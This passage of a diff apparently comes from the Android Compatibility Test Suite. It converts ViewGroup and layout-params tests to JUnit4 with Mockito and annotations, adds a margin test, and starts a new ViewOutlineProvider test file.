+    @Test
     public void testSetOnHierarchyChangeListener() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
-        MockOnHierarchyChangeListener listener = new MockOnHierarchyChangeListener();
+        ViewGroup.OnHierarchyChangeListener listener =
+                mock(ViewGroup.OnHierarchyChangeListener.class);
         parent.setOnHierarchyChangeListener(listener);
         parent.addView(child);
 
         parent.removeDetachedView(child, false);
-        assertSame(parent, listener.sParent);
-        assertSame(child, listener.sChild);
+        InOrder inOrder = inOrder(listener);
+        inOrder.verify(listener, times(1)).onChildViewAdded(parent, child);
+        inOrder.verify(listener, times(1)).onChildViewRemoved(parent, child);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetPadding() {
         final int left = 1;
         final int top = 2;
         final int right = 3;
         final int bottom = 4;
 
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertEquals(0, mMockViewGroup.getPaddingBottom());
+        assertEquals(0, mMockViewGroup.getPaddingTop());
+        assertEquals(0, mMockViewGroup.getPaddingLeft());
+        assertEquals(0, mMockViewGroup.getPaddingRight());
+        assertEquals(0, mMockViewGroup.getPaddingStart());
+        assertEquals(0, mMockViewGroup.getPaddingEnd());
 
-        assertEquals(0, vg.getPaddingBottom());
-        assertEquals(0, vg.getPaddingTop());
-        assertEquals(0, vg.getPaddingLeft());
-        assertEquals(0, vg.getPaddingRight());
-        assertEquals(0, vg.getPaddingStart());
-        assertEquals(0, vg.getPaddingEnd());
+        mMockViewGroup.setPadding(left, top, right, bottom);
 
-        vg.setPadding(left, top, right, bottom);
+        assertEquals(bottom, mMockViewGroup.getPaddingBottom());
+        assertEquals(top, mMockViewGroup.getPaddingTop());
+        assertEquals(left, mMockViewGroup.getPaddingLeft());
+        assertEquals(right, mMockViewGroup.getPaddingRight());
 
-        assertEquals(bottom, vg.getPaddingBottom());
-        assertEquals(top, vg.getPaddingTop());
-        assertEquals(left, vg.getPaddingLeft());
-        assertEquals(right, vg.getPaddingRight());
-
-        assertEquals(left, vg.getPaddingStart());
-        assertEquals(right, vg.getPaddingEnd());
-        assertEquals(false, vg.isPaddingRelative());
+        assertEquals(left, mMockViewGroup.getPaddingStart());
+        assertEquals(right, mMockViewGroup.getPaddingEnd());
+        assertEquals(false, mMockViewGroup.isPaddingRelative());
 
         // force RTL direction
-        vg.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        mMockViewGroup.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
 
-        assertEquals(bottom, vg.getPaddingBottom());
-        assertEquals(top, vg.getPaddingTop());
-        assertEquals(left, vg.getPaddingLeft());
-        assertEquals(right, vg.getPaddingRight());
+        assertEquals(bottom, mMockViewGroup.getPaddingBottom());
+        assertEquals(top, mMockViewGroup.getPaddingTop());
+        assertEquals(left, mMockViewGroup.getPaddingLeft());
+        assertEquals(right, mMockViewGroup.getPaddingRight());
 
-        assertEquals(right, vg.getPaddingStart());
-        assertEquals(left, vg.getPaddingEnd());
-        assertEquals(false, vg.isPaddingRelative());
+        assertEquals(right, mMockViewGroup.getPaddingStart());
+        assertEquals(left, mMockViewGroup.getPaddingEnd());
+        assertEquals(false, mMockViewGroup.isPaddingRelative());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetPaddingRelative() {
         final int start = 1;
         final int top = 2;
         final int end = 3;
         final int bottom = 4;
 
-        MockViewGroup vg = new MockViewGroup(mContext);
+        assertEquals(0, mMockViewGroup.getPaddingBottom());
+        assertEquals(0, mMockViewGroup.getPaddingTop());
+        assertEquals(0, mMockViewGroup.getPaddingLeft());
+        assertEquals(0, mMockViewGroup.getPaddingRight());
+        assertEquals(0, mMockViewGroup.getPaddingStart());
+        assertEquals(0, mMockViewGroup.getPaddingEnd());
 
-        assertEquals(0, vg.getPaddingBottom());
-        assertEquals(0, vg.getPaddingTop());
-        assertEquals(0, vg.getPaddingLeft());
-        assertEquals(0, vg.getPaddingRight());
-        assertEquals(0, vg.getPaddingStart());
-        assertEquals(0, vg.getPaddingEnd());
+        mMockViewGroup.setPaddingRelative(start, top, end, bottom);
 
-        vg.setPaddingRelative(start, top, end, bottom);
+        assertEquals(bottom, mMockViewGroup.getPaddingBottom());
+        assertEquals(top, mMockViewGroup.getPaddingTop());
+        assertEquals(start, mMockViewGroup.getPaddingLeft());
+        assertEquals(end, mMockViewGroup.getPaddingRight());
 
-        assertEquals(bottom, vg.getPaddingBottom());
-        assertEquals(top, vg.getPaddingTop());
-        assertEquals(start, vg.getPaddingLeft());
-        assertEquals(end, vg.getPaddingRight());
-
-        assertEquals(start, vg.getPaddingStart());
-        assertEquals(end, vg.getPaddingEnd());
-        assertEquals(true, vg.isPaddingRelative());
+        assertEquals(start, mMockViewGroup.getPaddingStart());
+        assertEquals(end, mMockViewGroup.getPaddingEnd());
+        assertEquals(true, mMockViewGroup.isPaddingRelative());
 
         // force RTL direction after setting relative padding
-        vg.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        mMockViewGroup.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
 
-        assertEquals(bottom, vg.getPaddingBottom());
-        assertEquals(top, vg.getPaddingTop());
-        assertEquals(end, vg.getPaddingLeft());
-        assertEquals(start, vg.getPaddingRight());
+        assertEquals(bottom, mMockViewGroup.getPaddingBottom());
+        assertEquals(top, mMockViewGroup.getPaddingTop());
+        assertEquals(end, mMockViewGroup.getPaddingLeft());
+        assertEquals(start, mMockViewGroup.getPaddingRight());
 
-        assertEquals(start, vg.getPaddingStart());
-        assertEquals(end, vg.getPaddingEnd());
-        assertEquals(true, vg.isPaddingRelative());
+        assertEquals(start, mMockViewGroup.getPaddingStart());
+        assertEquals(end, mMockViewGroup.getPaddingEnd());
+        assertEquals(true, mMockViewGroup.isPaddingRelative());
 
         // force RTL direction before setting relative padding
-        vg = new MockViewGroup(mContext);
-        vg.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        mMockViewGroup = new MockViewGroup(mContext);
+        mMockViewGroup.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
 
-        assertEquals(0, vg.getPaddingBottom());
-        assertEquals(0, vg.getPaddingTop());
-        assertEquals(0, vg.getPaddingLeft());
-        assertEquals(0, vg.getPaddingRight());
-        assertEquals(0, vg.getPaddingStart());
-        assertEquals(0, vg.getPaddingEnd());
+        assertEquals(0, mMockViewGroup.getPaddingBottom());
+        assertEquals(0, mMockViewGroup.getPaddingTop());
+        assertEquals(0, mMockViewGroup.getPaddingLeft());
+        assertEquals(0, mMockViewGroup.getPaddingRight());
+        assertEquals(0, mMockViewGroup.getPaddingStart());
+        assertEquals(0, mMockViewGroup.getPaddingEnd());
 
-        vg.setPaddingRelative(start, top, end, bottom);
+        mMockViewGroup.setPaddingRelative(start, top, end, bottom);
 
-        assertEquals(bottom, vg.getPaddingBottom());
-        assertEquals(top, vg.getPaddingTop());
-        assertEquals(end, vg.getPaddingLeft());
-        assertEquals(start, vg.getPaddingRight());
+        assertEquals(bottom, mMockViewGroup.getPaddingBottom());
+        assertEquals(top, mMockViewGroup.getPaddingTop());
+        assertEquals(end, mMockViewGroup.getPaddingLeft());
+        assertEquals(start, mMockViewGroup.getPaddingRight());
 
-        assertEquals(start, vg.getPaddingStart());
-        assertEquals(end, vg.getPaddingEnd());
-        assertEquals(true, vg.isPaddingRelative());
+        assertEquals(start, mMockViewGroup.getPaddingStart());
+        assertEquals(end, mMockViewGroup.getPaddingEnd());
+        assertEquals(true, mMockViewGroup.isPaddingRelative());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetPersistentDrawingCache() {
-        MockViewGroup vg = new MockViewGroup(mContext);
-        vg.setPersistentDrawingCache(1);
-        assertEquals(1 & ViewGroup.PERSISTENT_ALL_CACHES, vg
+        mMockViewGroup.setPersistentDrawingCache(1);
+        assertEquals(1 & ViewGroup.PERSISTENT_ALL_CACHES, mMockViewGroup
                 .getPersistentDrawingCache());
     }
 
+    @UiThreadTest
+    @Test
     public void testShowContextMenuForChild() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1640,6 +2131,8 @@
         assertTrue(parent.isShowContextMenuForChildCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testShowContextMenuForChild_WithXYCoords() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1649,18 +2142,21 @@
         assertTrue(parent.isShowContextMenuForChildCalledWithXYCoords);
     }
 
+    @UiThreadTest
+    @Test
     public void testStartLayoutAnimation() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         RotateAnimation animation = new RotateAnimation(0.1f, 0.1f);
         LayoutAnimationController la = new LayoutAnimationController(animation);
-        vg.setLayoutAnimation(la);
+        mMockViewGroup.setLayoutAnimation(la);
 
-        vg.layout(1, 1, 100, 100);
-        assertFalse(vg.isLayoutRequested());
-        vg.startLayoutAnimation();
-        assertTrue(vg.isLayoutRequested());
+        mMockViewGroup.layout(1, 1, 100, 100);
+        assertFalse(mMockViewGroup.isLayoutRequested());
+        mMockViewGroup.startLayoutAnimation();
+        assertTrue(mMockViewGroup.isLayoutRequested());
     }
 
+    @UiThreadTest
+    @Test
     public void testUpdateViewLayout() {
         MockViewGroup parent = new MockViewGroup(mContext);
         MockViewGroup child = new MockViewGroup(mContext);
@@ -1672,6 +2168,8 @@
         assertEquals(param.height, child.getLayoutParams().height);
     }
 
+    @UiThreadTest
+    @Test
     public void testDebug() {
         final int EXPECTED = 100;
         MockViewGroup parent = new MockViewGroup(mContext);
@@ -1682,43 +2180,44 @@
         assertEquals(EXPECTED + 1, child.debugDepth);
     }
 
+    @UiThreadTest
+    @Test
     public void testDispatchKeyEventPreIme() {
-        MockViewGroup vg = new MockViewGroup(mContext);
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER);
-        assertFalse(vg.dispatchKeyEventPreIme(event));
-        assertFalse(vg.dispatchKeyShortcutEvent(event));
-        MockTextView textView = new MockTextView(mContext);
+        assertFalse(mMockViewGroup.dispatchKeyEventPreIme(event));
+        assertFalse(mMockViewGroup.dispatchKeyShortcutEvent(event));
 
-        vg.addView(textView);
-        vg.requestChildFocus(textView, null);
-        vg.layout(0, 0, 100, 200);
-        assertFalse(vg.dispatchKeyEventPreIme(event));
-        assertFalse(vg.dispatchKeyShortcutEvent(event));
+        mMockViewGroup.addView(mMockTextView);
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        mMockViewGroup.layout(0, 0, 100, 200);
+        assertFalse(mMockViewGroup.dispatchKeyEventPreIme(event));
+        assertFalse(mMockViewGroup.dispatchKeyShortcutEvent(event));
 
-        vg.requestChildFocus(textView, null);
-        textView.layout(0, 0, 50, 50);
-        assertTrue(vg.dispatchKeyEventPreIme(event));
-        assertTrue(vg.dispatchKeyShortcutEvent(event));
+        mMockViewGroup.requestChildFocus(mMockTextView, null);
+        mMockTextView.layout(0, 0, 50, 50);
+        assertTrue(mMockViewGroup.dispatchKeyEventPreIme(event));
+        assertTrue(mMockViewGroup.dispatchKeyShortcutEvent(event));
 
-        vg.setStaticTransformationsEnabled(true);
+        mMockViewGroup.setStaticTransformationsEnabled(true);
         Canvas canvas = new Canvas();
-        vg.drawChild(canvas, textView, 100);
-        assertTrue(vg.isGetChildStaticTransformationCalled);
-        vg.isGetChildStaticTransformationCalled = false;
-        vg.setStaticTransformationsEnabled(false);
-        vg.drawChild(canvas, textView, 100);
-        assertFalse(vg.isGetChildStaticTransformationCalled);
+        mMockViewGroup.drawChild(canvas, mMockTextView, 100);
+        assertTrue(mMockViewGroup.isGetChildStaticTransformationCalled);
+        mMockViewGroup.isGetChildStaticTransformationCalled = false;
+        mMockViewGroup.setStaticTransformationsEnabled(false);
+        mMockViewGroup.drawChild(canvas, mMockTextView, 100);
+        assertFalse(mMockViewGroup.isGetChildStaticTransformationCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testStartActionModeForChildRespectsSubclassModeOnPrimary() {
         MockViewGroupSubclass vgParent = new MockViewGroupSubclass(mContext);
         MockViewGroupSubclass vg = new MockViewGroupSubclass(mContext);
         vg.shouldReturnOwnTypelessActionMode = true;
         vgParent.addView(vg);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        vg.addView(mMockTextView);
 
-        textView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_PRIMARY);
+        mMockTextView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_PRIMARY);
 
         assertTrue(vg.isStartActionModeForChildTypedCalled);
         assertTrue(vg.isStartActionModeForChildTypelessCalled);
@@ -1726,15 +2225,16 @@
         assertFalse(vgParent.isStartActionModeForChildTypedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testStartActionModeForChildIgnoresSubclassModeOnFloating() {
         MockViewGroupSubclass vgParent = new MockViewGroupSubclass(mContext);
         MockViewGroupSubclass vg = new MockViewGroupSubclass(mContext);
         vg.shouldReturnOwnTypelessActionMode = true;
         vgParent.addView(vg);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        vg.addView(mMockTextView);
 
-        textView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_FLOATING);
+        mMockTextView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_FLOATING);
 
         assertTrue(vg.isStartActionModeForChildTypedCalled);
         assertFalse(vg.isStartActionModeForChildTypelessCalled);
@@ -1742,38 +2242,42 @@
         assertTrue(vgParent.isStartActionModeForChildTypedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testStartActionModeForChildTypedBubblesUpToParent() {
         MockViewGroupSubclass vgParent = new MockViewGroupSubclass(mContext);
         MockViewGroupSubclass vg = new MockViewGroupSubclass(mContext);
         vgParent.addView(vg);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        vg.addView(mMockTextView);
 
-        textView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_FLOATING);
+        mMockTextView.startActionMode(NO_OP_ACTION_MODE_CALLBACK, ActionMode.TYPE_FLOATING);
 
         assertTrue(vg.isStartActionModeForChildTypedCalled);
         assertTrue(vgParent.isStartActionModeForChildTypedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testStartActionModeForChildTypelessBubblesUpToParent() {
         MockViewGroupSubclass vgParent = new MockViewGroupSubclass(mContext);
         MockViewGroupSubclass vg = new MockViewGroupSubclass(mContext);
         vgParent.addView(vg);
-        MockTextView textView = new MockTextView(mContext);
-        vg.addView(textView);
+        vg.addView(mMockTextView);
 
-        textView.startActionMode(NO_OP_ACTION_MODE_CALLBACK);
+        mMockTextView.startActionMode(NO_OP_ACTION_MODE_CALLBACK);
 
         assertTrue(vg.isStartActionModeForChildTypedCalled);
         assertTrue(vg.isStartActionModeForChildTypelessCalled);
         assertTrue(vgParent.isStartActionModeForChildTypedCalled);
     }
 
+    @UiThreadTest
+    @Test
     public void testTemporaryDetach() {
         // [vgParent]
         //   - [viewParent1]
         //   - [viewParent1]
-        //   - [vg]
+        //   - [mMockViewGroup]
         //     - [view1]
         //     - [view2]
         MockViewGroupSubclass vgParent = new MockViewGroupSubclass(mContext);
@@ -1813,7 +2317,7 @@
         // [vgParent]
         //   - [viewParent1]
         //   - [viewParent1]
-        //   - [vg]           <- dispatchStartTemporaryDetach()
+        //   - [mMockViewGroup]           <- dispatchStartTemporaryDetach()
         //     - [view1]
         //     - [view2]
         vg.dispatchStartTemporaryDetach();
@@ -1842,7 +2346,7 @@
         // [vgParent]
         //   - [viewParent1]
         //   - [viewParent1]
-        //   - [vg]           <- dispatchFinishTemporaryDetach()
+        //   - [mMockViewGroup]           <- dispatchFinishTemporaryDetach()
         //     - [view1]
         //     - [view2]
         vg.dispatchFinishTemporaryDetach();
@@ -1871,7 +2375,7 @@
         // [vgParent]         <- dispatchStartTemporaryDetach()
         //   - [viewParent1]
         //   - [viewParent1]
-        //   - [vg]
+        //   - [mMockViewGroup]
         //     - [view1]
         //     - [view2]
         vgParent.dispatchStartTemporaryDetach();
@@ -1900,7 +2404,7 @@
         // [vgParent]         <- dispatchFinishTemporaryDetach()
         //   - [viewParent1]
         //   - [viewParent1]
-        //   - [vg]
+        //   - [mMockViewGroup]
         //     - [view1]
         //     - [view2]
         vgParent.dispatchFinishTemporaryDetach();
@@ -2045,10 +2549,11 @@
         resetResolvedDrawablesCount = 0;
     }
 
+    @UiThreadTest
+    @Test
     public void testResetRtlProperties() {
         clearRtlCounters();
 
-        MockViewGroup vg = new MockViewGroup(mContext);
         MockView2 v1 = new MockView2(mContext);
         MockView2 v2 = new MockView2(mContext);
 
@@ -2064,9 +2569,9 @@
         assertEquals(1, resetResolvedDrawablesCount);
 
         clearRtlCounters();
-        vg.addView(v1);
-        vg.addView(v2);
-        vg.addView(v3);
+        mMockViewGroup.addView(v1);
+        mMockViewGroup.addView(v2);
+        mMockViewGroup.addView(v3);
 
         assertEquals(3, resetRtlPropertiesCount); // for v1 / v2 / v3 only
         assertEquals(4, resetResolvedLayoutDirectionCount); // for v1 / v2 / v3 / v4
@@ -2076,11 +2581,12 @@
         assertEquals(4, resetResolvedDrawablesCount);
 
         clearRtlCounters();
-        vg.resetRtlProperties();
-        assertEquals(1, resetRtlPropertiesCount); // for vg only
+        mMockViewGroup.resetRtlProperties();
+        assertEquals(1, resetRtlPropertiesCount); // for mMockViewGroup only
         assertEquals(5, resetResolvedLayoutDirectionCount); // for all
         assertEquals(5, resetResolvedTextDirectionCount);
-        assertEquals(1, resetResolvedTextAlignmentCount); // for vg only as TextAlignment is not inherited (default is Gravity)
+        // for mMockViewGroup only as TextAlignment is not inherited (default is Gravity)
+        assertEquals(1, resetResolvedTextAlignmentCount);
         assertEquals(5, resetResolvedPaddingCount);
         assertEquals(5, resetResolvedDrawablesCount);
     }
@@ -2170,6 +2676,8 @@
         public boolean isOnCreateDrawableStateCalled;
         public boolean isOnInterceptTouchEventCalled;
         public boolean isOnRequestFocusInDescendantsCalled;
+        public boolean isOnViewAddedCalled;
+        public boolean isOnViewRemovedCalled;
         public boolean isFocusableViewAvailable;
         public boolean isDispatchDrawCalled;
         public boolean isRequestDisallowInterceptTouchEventCalled;
@@ -2185,10 +2693,12 @@
         public boolean isDrawableStateChangedCalled;
         public boolean isRequestLayoutCalled;
         public boolean isOnLayoutCalled;
+        public boolean isOnDescendantInvalidatedCalled;
         public int left;
         public int top;
         public int right;
         public int bottom;
+        public boolean returnActualFocusSearchResult;
 
         public MockViewGroup(Context context, AttributeSet attrs, int defStyle) {
             super(context, attrs, defStyle);
@@ -2408,6 +2918,18 @@
         }
 
         @Override
+        public void onViewAdded(View child) {
+            isOnViewAddedCalled = true;
+            super.onViewAdded(child);
+        }
+
+        @Override
+        public void onViewRemoved(View child) {
+            isOnViewRemovedCalled = true;
+            super.onViewRemoved(child);
+        }
+
+        @Override
         public void recomputeViewAttributes(View child) {
             isRecomputeViewAttributesCalled = true;
             super.recomputeViewAttributes(child);
@@ -2444,8 +2966,12 @@
 
         @Override
         public View focusSearch(View focused, int direction) {
-            super.focusSearch(focused, direction);
-            return focused;
+            if (returnActualFocusSearchResult) {
+                return super.focusSearch(focused, direction);
+            } else {
+                super.focusSearch(focused, direction);
+                return focused;
+            }
         }
 
         @Override
@@ -2527,6 +3053,12 @@
         public boolean isChildrenDrawnWithCacheEnabled() {
             return super.isChildrenDrawnWithCacheEnabled();
         }
+
+        @Override
+        public void onDescendantInvalidated(@NonNull View child, @NonNull View target) {
+            isOnDescendantInvalidatedCalled = true;
+            super.onDescendantInvalidated(child, target);
+        }
     }
 
     static class MockView2 extends View {
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
index 7476ba6..1c6810a 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_LayoutParamsTest.java
@@ -16,24 +16,36 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
 import android.content.res.TypedArray;
 import android.content.res.XmlResourceParser;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
 import android.view.cts.util.XmlUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class ViewGroup_LayoutParamsTest extends AndroidTestCase {
-    private ViewGroup.LayoutParams mLayoutParams;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewGroup_LayoutParamsTest {
+    private Context mContext;
 
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         // new the MarginLayoutParams instance
         XmlResourceParser parser = mContext.getResources().getLayout(
@@ -47,6 +59,7 @@
         new ViewGroup.LayoutParams(temp);
     }
 
+    @Test
     public void testSetBaseAttributes() throws XmlPullParserException, IOException {
         MockLayoutParams mockLayoutParams = new MockLayoutParams(240, 320);
 
@@ -63,18 +76,10 @@
     }
 
     private class MockLayoutParams extends LayoutParams {
-        public MockLayoutParams(Context c, AttributeSet attrs) {
-            super(c, attrs);
-        }
-
         public MockLayoutParams(int width, int height) {
             super(width, height);
         }
 
-        public MockLayoutParams(LayoutParams source) {
-            super(source);
-        }
-
         protected void setBaseAttributes(TypedArray a, int widthAttr, int heightAttr) {
             super.setBaseAttributes(a, widthAttr, heightAttr);
         }
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
index 2bf3f8b..0867338 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
@@ -16,31 +16,40 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.res.XmlResourceParser;
-import android.test.InstrumentationTestCase;
+import android.graphics.Rect;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewGroup.MarginLayoutParams;
 import android.view.cts.util.XmlUtils;
 import android.widget.LinearLayout;
 
-public class ViewGroup_MarginLayoutParamsTest extends InstrumentationTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private ViewGroup.MarginLayoutParams mMarginLayoutParams;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewGroup_MarginLayoutParamsTest {
     private Context mContext;
+    private ViewGroup.MarginLayoutParams mMarginLayoutParams;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mMarginLayoutParams = null;
-        mContext = getInstrumentation().getTargetContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
     public void testConstructor() {
-        mMarginLayoutParams = null;
         // create a new MarginLayoutParams instance
         XmlResourceParser p = mContext.getResources().getLayout(
                 R.layout.viewgroup_margin_layout);
@@ -68,9 +77,9 @@
         ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(320, 480);
         mMarginLayoutParams = new ViewGroup.MarginLayoutParams(lp);
         assertNotNull(mMarginLayoutParams);
-
     }
 
+    @Test
     public void testSetMargins() {
         // create a new MarginLayoutParams instance
         mMarginLayoutParams = new ViewGroup.MarginLayoutParams(320, 480);
@@ -86,6 +95,7 @@
         assertEquals(false, mMarginLayoutParams.isMarginRelative());
     }
 
+    @Test
     public void testSetMarginsRelative() {
         // create a new MarginLayoutParams instance
         mMarginLayoutParams = new ViewGroup.MarginLayoutParams(320, 480);
@@ -103,6 +113,7 @@
         assertEquals(true, mMarginLayoutParams.isMarginRelative());
     }
 
+    @Test
     public void testResolveMarginsRelative() {
         ViewGroup vg = new LinearLayout(mContext);
 
@@ -171,6 +182,7 @@
         assertEquals(true, mMarginLayoutParams.isMarginRelative());
     }
 
+    @Test
     public void testResolveMarginsExplicit() {
         // LTR / relative margin case
         mMarginLayoutParams = new ViewGroup.MarginLayoutParams(320, 480);
@@ -206,4 +218,49 @@
 
         assertEquals(true, mMarginLayoutParams.isMarginRelative());
     }
+
+    @Test
+    public void testVerticalHorizontalMargins() {
+        LayoutInflater inflater = LayoutInflater.from(mContext);
+
+        LinearLayout viewGroup = (LinearLayout)
+                inflater.inflate(R.layout.viewgroup_margin_layout_verticalhorizontal, null);
+        int measureSpec = View.MeasureSpec.makeMeasureSpec(1000, View.MeasureSpec.EXACTLY);
+        viewGroup.measure(measureSpec, measureSpec);
+        viewGroup.layout(0, 0, 1000, 1000);
+
+        View view1 = viewGroup.findViewById(R.id.view1);
+        View view2 = viewGroup.findViewById(R.id.view2);
+        View view3 = viewGroup.findViewById(R.id.view3);
+        View view4 = viewGroup.findViewById(R.id.view4);
+        View view5 = viewGroup.findViewById(R.id.view5);
+        View view6 = viewGroup.findViewById(R.id.view6);
+        View view7 = viewGroup.findViewById(R.id.view7);
+
+        Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
+                view1.getBottom());
+        int marginStart = mContext.getResources().getDimensionPixelSize(R.dimen.marginStart);
+        int marginEnd = mContext.getResources().getDimensionPixelSize(R.dimen.marginEnd);
+        int marginAll = mContext.getResources().getDimensionPixelSize(R.dimen.marginAll);
+        int marginHorizontal =
+                mContext.getResources().getDimensionPixelSize(R.dimen.marginHorizontal);
+        int marginVertical = mContext.getResources().getDimensionPixelSize(R.dimen.marginVertical);
+
+        checkBounds(view2, defaultBounds, marginHorizontal, 0, marginHorizontal, 0);
+        checkBounds(view3, defaultBounds, 0, marginVertical, 0, marginVertical);
+        checkBounds(view4, defaultBounds, marginHorizontal, marginVertical,
+                marginHorizontal, marginVertical);
+        checkBounds(view5, defaultBounds, marginHorizontal, marginVertical,
+                marginHorizontal, marginVertical);
+        checkBounds(view6, defaultBounds, marginStart, marginVertical, marginEnd, marginVertical);
+        checkBounds(view7, defaultBounds, marginAll, marginAll, marginAll, marginAll);
+    }
+
+    private void checkBounds(View view, Rect defaultBounds,
+            int insetLeft, int insetTop, int insetRight, int insetBottom) {
+        assertEquals("Left", defaultBounds.left + insetLeft, view.getLeft());
+        assertEquals("Top", defaultBounds.top + insetTop, view.getTop());
+        assertEquals("Right", defaultBounds.right - insetRight, view.getRight());
+        assertEquals("Bottom", defaultBounds.bottom - insetBottom, view.getBottom());
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
new file mode 100644
index 0000000..e82cf37
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.graphics.Color;
+import android.graphics.Outline;
+import android.graphics.Rect;
+import android.graphics.drawable.ColorDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.view.ViewOutlineProvider;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ViewOutlineProviderTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testBackground() {
+        View view = new View(mContext);
+        view.setLeftTopRightBottom(100, 200, 300, 400);
+
+        Outline outline = new Outline();
+        outline.setAlpha(1.0f);
+        Rect queryRect = new Rect();
+
+        // No background - outline is 0 alpha, width x height rect
+        ViewOutlineProvider.BACKGROUND.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(0, 0, 200, 200), queryRect);
+        assertEquals(0f, outline.getAlpha(), 0f);
+
+        // With background - outline is passed directly from background
+        view.setBackground(new ColorDrawable(Color.BLACK) {
+            @Override
+            public void getOutline(@NonNull Outline outline) {
+                outline.setRect(1, 2, 3, 4);
+                outline.setAlpha(0.123f);
+            }
+        });
+        ViewOutlineProvider.BACKGROUND.getOutline(view, outline);
+        outline.getRect(queryRect);
+        assertEquals(new Rect(1, 2, 3, 4), queryRect);
+        assertEquals(0.123f, outline.getAlpha(), 0f);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testBounds() {
+        View view = new View(mContext);
+
+        Outline outline = new Outline();
+        Rect queryRect = new Rect();
